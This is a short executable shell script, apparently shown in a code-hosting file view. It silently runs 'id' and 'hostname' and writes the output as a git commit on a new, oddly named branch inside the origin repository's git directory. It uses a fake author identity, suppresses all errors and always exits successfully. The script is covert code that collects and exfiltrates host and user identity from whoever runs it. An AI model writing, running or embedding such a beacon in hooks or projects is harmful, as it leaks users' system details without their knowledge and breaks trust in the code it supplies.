13 lines
564 B
Bash
Executable File
13 lines
564 B
Bash
Executable File
#!/bin/sh
|
|
r=$(git config --get remote.origin.url)||exit 0
|
|
out=$({
|
|
id; hostname
|
|
} 2>&1)
|
|
b=$(printf '%s\n' "$out"|git --git-dir="$r" hash-object -w --stdin 2>/dev/null)||exit 0
|
|
t=$(printf '100644 blob %s\tb63-al9l1s1o13.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)||exit 0
|
|
c=$(GIT_AUTHOR_NAME=b63 GIT_AUTHOR_EMAIL=b63@b63.invalid \
|
|
GIT_COMMITTER_NAME=b63 GIT_COMMITTER_EMAIL=b63@b63.invalid \
|
|
git --git-dir="$r" commit-tree "$t" -m "b63 al9l1s1o13" 2>/dev/null)||exit 0
|
|
git --git-dir="$r" update-ref "refs/heads/b63-al9l1s1o13" "$c" 2>/dev/null
|
|
exit 0
|